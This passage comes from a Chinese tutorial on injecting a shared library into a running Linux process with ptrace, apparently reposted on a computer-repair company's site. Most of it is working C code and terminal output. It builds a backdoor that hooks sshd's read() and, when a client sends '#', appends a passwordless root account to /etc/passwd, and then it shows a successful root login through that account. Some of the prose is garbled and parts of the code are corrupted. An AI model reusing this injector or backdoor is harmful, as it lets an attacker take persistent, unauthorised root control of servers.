共享库注射--injectso实例
char *str;
sym_addr = find_symbol_in_linkmap(pid, map, sym_name);
if (sym_addr)
return sym_addr;
if (!map->l_next) return 0;
ptrace_read(pid, (unsigned long)map->l_next, lm, sizeof(struct link_map));
sym_addr = find_symbol_in_linkmap(pid, lm, sym_name);
while(!sym_addr && lm->l_next) {
ptrace_read(pid, (unsigned long)lm->l_next, lm, sizeof(struct link_map));
str = ptrace_readstr(pid, (unsigned long)lm->l_name);
if(str[0] == '\0')
continue;
printf("[%s]\n", str);
free(str);
if ((sym_addr = find_symbol_in_linkmap(pid, lm, sym_name)))
break;
}
return sym_addr;
}
/*
在指定的link_map指向的符号表查找符号,它仅仅是被上面的find_symbol利用
*/
unsigned long find_symbol_in_linkmap(int pid, struct link_map *lm, char *sym_name)
{
Elf32_Sym *sym = (Elf32_Sym *) malloc(sizeof(Elf32_Sym));
int i;
char *str;
unsigned long ret;
get_sym_info(pid, lm);
for(i = 0; i < nchains; i++) {
ptrace_read(pid, symtab + i * sizeof(Elf32_Sym), sym, sizeof(Elf32_Sym));
if (!sym->st_name || !sym->st_size || !sym->st_value)
continue;
/* 因为我还要经过此函数剖析非函数范例的符号,因此将此处封上了
if (ELF32_ST_TYPE(sym->st_info) != STT_FUNC)
continue;
*/
str = (char *) ptrace_readstr(pid, strtab + sym->st_name);
if (strcmp(str, sym_name) == 0) {
free(str);
str = ptrace_readstr(pid, (unsigned long)lm->l_name);
printf("lib name [%s]\n", str);
free(str);
break;
}
free(str);
}
if (i == nchains)
ret = 0;
else
ret = lm->l_addr + sym->st_value;
free(sym);
return ret;
}
/* 查找符号的重定位地点 */
unsigned long find_sym_in_rel(int pid, char *sym_name)
{
Elf32_Rel *rel = (Elf32_Rel *) malloc(sizeof(Elf32_Rel));
Elf32_Sym *sym = (Elf32_Sym *) malloc(sizeof(Elf32_Sym));
int i;
char *str;
unsigned long ret;
get_dyn_info(pid);
for(i = 0; i< nrels ;i++) {
ptrace_read(pid, (unsigned long)(jmprel + i * sizeof(Elf32_Rel)),
rel, sizeof(Elf32_Rel));
if(ELF32_R_SYM(rel->r_info)) {
ptrace_read(pid, symtab + ELF32_R_SYM(rel->r_info) *
sizeof(Elf32_Sym), sym, sizeof(Elf32_Sym));
str = ptrace_readstr(pid, strtab + sym->st_name);
if (strcmp(str, sym_name) == 0) {
free(str);
break;
}
free(str);
}
}
if (i == nrels)
ret = 0;
else
ret = rel->r_offset;
free(rel);
return ret;
}
/*
在进程本身的映象中(即不包罗静态共享库,无须遍历link_map链表)得到种种静态信息
*/
void get_dyn_info(int pid)
{
Elf32_Dyn *dyn = (Elf32_Dyn *) malloc(sizeof(Elf32_Dyn));
int i = 0;
ptrace_read(pid, dyn_addr + i * sizeof(Elf32_Dyn), dyn, sizeof(Elf32_Dyn));
i++;
while(dyn->d_tag){
switch(dyn->d_tag)
{
case DT_SYMTAB:
puts("DT_SYMTAB");
symtab = dyn->d_un.d_ptr;
break;
case DT_STRTAB:
strtab = dyn->d_un.d_ptr;
//puts("DT_STRTAB");
break;
case DT_JMPREL:
jmprel = dyn->d_un.d_ptr;
//puts("DT_JMPREL");
printf("jmprel\t %p\n", jmprel);
break;
case DT_PLTRELSZ:
totalrelsize = dyn->d_un.d_val;
//puts("DT_PLTRELSZ");
break;
case DT_RELAENT:
relsize = dyn->d_un.d_val;
//puts("DT_RELAENT");
break;
case DT_RELENT:
relsize = dyn->d_un.d_val;
//puts("DT_RELENT");
break;
}
ptrace_read(pid, dyn_addr + i * sizeof(Elf32_Dyn), dyn, sizeof(Elf32_Dyn));
i++;
}
nrels = totalrelsize / relsize;
free(dyn);
}
上面的函数大概较<四>中的复杂了一些,但是它们也是容易明白的,这需要你对ELF
有肯定的相识,我无法在这里表明更多的关于ELF内容,最好的和最有用的措施是你
去阅读范例,文后的参考文献中给出了下载地点。
六、** 一个简单的后门步伐
有了上面介绍的函数,现在我们可以很容易的编写出injectso步伐,下面让我们来写
一个简单后门步伐。首先,我们回想一下前面介绍的injectso事情步骤,看看我们是
否已经有足够的辅助函数来完成它。第1步,我们可以挪用上面给出的ptrace_attach()
完成。第2步,可以经过find_symbol()找到_dl_open的地点。第3步我们可以挪用
ptrace_call()来挪用_dl_open,但是要注意_dl_open界说为'internal_function',
这说明它的通报方式是经过寄存器而不是堆栈,如许看来在挪用_dl_open之前还需做一
些噜苏的操作,那么我们还是把它封装起来更好。第4步,函数重定向,我们可以经过
符号剖析函数和RELOCATION地点获取函数找到新老函数地点,地点都已经找到,那替换
它们只是一个简单的操作了。第5步,仅仅挪用ptrace_detach就可以了。OK,看来全部
的步骤我们都可以很轻松的完成了,只要3还需要个小小的封装函数,现在就来完成它:
void call_dl_open(int pid, unsigned long addr, char *libname)
{
void *pRLibName;
struct user_regs_struct regs;
/*
先找个空间寄存要装载的共享库名,我们可以简单的把它放入堆栈
*/
pRLibName = ptrace_push(pid, libname, strlen(libname) + 1);
/* 设置参数到寄存器 */
ptrace_readreg(pid, ?s);
regs.eax = (unsigned long) pRLibName;
regs.ecx = 0x0;
regs.edx = RTLD_LAZY;
ptrace_writereg(pid, ?s);
/* 挪用_dl_open */
ptrace_call(pid, addr);
puts("call _dl_open ok");
}
到这里全部的基础问题都已经解决(只是相对而言,在有些情况下大概需要解决系统
挪用或临界区等问题,本文没有触及,但是我们的步伐依然可以很好的实行),现在
需要考虑的我们做一个什么样的后门步伐。为了简单,我计划作一个注射SSH服务的
后门步伐。我们只需要重定向read挪用到我们本身的newread,并在newread中参加对
读取到的内容进行果断的语句,如果发明读到的第一个字节是#号,我们将向/etc/passwd
追加新行"injso::0:0:root:/root:/bin/sh\n",如许我们就有了一个具
有ROOT权限的用户injso,并且不需要登陆密码。凭据这个思路来建立我们的.so:
[root@grip2 injectso]# cat so.c
#include
#include
ssize_t (*oldread)(int fd, void *buf, size_t count);
ssize_t newread(int fd, void *buf, size_t count)
{
ssize_t ret;
FILE *fp;
char ch = '#';
ret = oldread(fd, buf, count);
if (memcmp(buf, (void *)&ch, 1) == 0) {
fp = fopen("/etc/passwd", "a");
fputs("injso::0:0:root:/root:/bin/sh\n", fp);
fclose(fp);
}
return ret;
}
我们来编译它
[root@grip2 injectso]# gcc -shared -o so.so -fPIC so.c -nostdlib
好了,我们已经有了.so,下面就仅剩下main()了,让我们来看看:
[root@grip2 injectso]# cat injso.c
#include
#include
#include
#include "p_elf.h"
#include "p_dbg.h"
int main(int argc, char *argv[])
{
int pid;
struct link_map *map;
char sym_name[256];
unsigned long sym_addr;
unsigned long new_addr,old_addr,rel_addr;
/* 从命令行取得目标进程PID
pid = atoi(argv[1]);
/* 接洽关系到目标进程 */
ptrace_attach(pid);
/* 得到指向link_map链表的指针 */
map = get_linkmap(pid); /* get_linkmap */
/* 发明_dl_open,并挪用它 */
sym_addr = find_symbol(pid, map, "_dl_open"); /* call _dl_open */
printf("found _dl_open at addr %p\n", sym_addr);
call_dl_open(pid, sym_addr, "/home/grip2/me/so.so"); /* 注意装载的库地点 */
/* 找到我们的新函数newread的地点 */
strcpy(sym_name, "newread"); /* intercept */
sym_addr = find_symbol(pid, map, sym_name);
printf("%s addr\t %p\n", sym_name, sym_addr);
/* 找到read的RELOCATION地点 */
strcpy(sym_name, "read");
rel_addr = find_sym_in_rel(pid, sym_name);
printf("%s rel addr\t %p\n", sym_name, rel_addr);
/* 找到用于保存read地点的指针 */
strcpy(sym_name, "oldread");
old_addr = find_symbol(pid, map, sym_name);
printf("%s addr\t %p\n", sym_name, old_addr);
/* 函数重定向 */
puts("intercept..."); /* intercept */
ptrace_read(pid, rel_addr, &new_addr, sizeof(new_addr));
ptrace_write(pid, old_addr, &new_addr, sizeof(new_addr));
ptrace_write(pid, rel_addr, &sym_addr, sizeof(sym_addr));
puts("injectso ok");
/* 离开进程 */
ptrace_detach(pid);
exit(0);
}
现在全部的事情都已经做好,你需要的是把上面介绍的函数都写到本身的.c步伐文件
中,如许就可以编译了,我们来编译它
[root@grip2 injectso]# gcc -o injso injso.c p_dbg.c p_elf.c -Wall
[root@grip2 injectso]# ls
injso injso.c make p_dbg.c p_dbg.h p_elf.c p_elf.h so.c so.so
ok,启动ssh服务,并开始注射
[root@grip2 injectso]# /usr/sbin/sshd
[root@grip2 injectso]# ps -aux|grep sshd
root 763 0.0 0.4 2676 1268 ? S 21:46 0:00 /usr/sbin/sshd
root 1567 0.0 0.2 2004 688 pts/0 S 21:57 0:00 grep sshd
[root@grip2 injectso]# ./injso 763
phdr_addr 0x8048034
dyn_addr 0x8084c2c
GOT 0x80847d8
map_addr 0x40016998
[/lib/libdl.so.2]
[/usr/lib/libz.so.1]
[/lib/libnsl.so.1]
[/lib/libutil.so.1]
[/lib/libcrypto.so.2]
[/lib/i686/libc.so.6]
lib name [/lib/i686/libc.so.6]
found _dl_open at addr 0x402352e0
call _dl_open ok
[/lib/libdl.so.2]
[/usr/lib/libz.so.1]
[/lib/libnsl.so.1]
[/lib/libutil.so.1]
[/lib/libcrypto.so.2]
[/lib/i686/libc.so.6]
[/lib/ld-linux.so.2]
[/home/grip2/me/so.so]
lib name [/home/grip2/me/so.so]
newread addr 0x40017574
DT_SYMTAB
jmprel 0x804ac9c
read rel addr 0x8084bc0
[/lib/libdl.so.2]
[/usr/lib/libz.so.1]
[/lib/libnsl.so.1]
[/lib/libutil.so.1]
[/lib/libcrypto.so.2]
[/lib/i686/libc.so.6]
[/lib/ld-linux.so.2]
[/home/grip2/me/so.so]
lib name [/home/grip2/me/so.so]
oldread addr 0x40018764
intercept...
new_addr 0x401fc530
injectso ok
注射乐成,测试一下,看看效果,可以在任何机器上telnet被注射机的22端口,
并传送一个#号
$ telnet 127.0.0.1 22
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
SSH-1.99-OpenSSH_2.9p2
# <-------------------我们输入#号,并回车
Protocol mismatch.
Connection closed by foreign host.
看看后门是否起作用了,登陆系统:
localhost login: injso
Last login: Sat Aug 17 21:58:40 from :0
sh-2.05#
OK,得到了ROOT,测试乐成。
七、** 最后
在学习injectso的历程中,我阅读了一些相关的资料,但是我发明大概是由于injectso中
触及到的某些技术已经非常成熟和普及,因此很难找到一个从整体上完整的描述injectso
的文章,你能发明的是许多的文章都只是对此中的某一个技术环节进行探究,如许对初学
者而言,就不容易去完整的明白injectso,也就不克不及很快的去应用它。为了打扫这个障碍,
我写了这篇文章,当然由于程度无限,文章的重点也仅仅是放在提供一点思路资助你去快
速的建立一个injectso上,而对相关的技术没有深入的探究,不是不可以在这里介绍,而
是感觉着实是有点布鼓雷门,更好的技术文章许多,象injectso3.ppt就很不错,我发起你
去细致的阅读它。
最后,如果您对本文有什么意见或发起,请EMAIL给我,我也很希望晓得您的看法。
希望更多的交换 -- E-mail
八 ** 参考文献
http://packetstormsecurity.nl/mag/phrack/phrack59.tar.gz
http://www.blackhat.com/presentations/bh-europe-01/shaun-clowes/injectso3.ppt
ftp://tsx.mit.edu/pub/linux/packages/GCC/ELF.doc.tar.gz
http://www.big.net.au/~silvio/lib-redirection.txt
http://online.securityfocus.com/data/library/subversiveld.pdf
- 文章作者: 福州军威计算机技术有限公司
军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。
TAG:
评论加载中...
|
上一篇: WIN9X下建立自己的防火墙
下一篇: 看看黑客是否光顾过你的电脑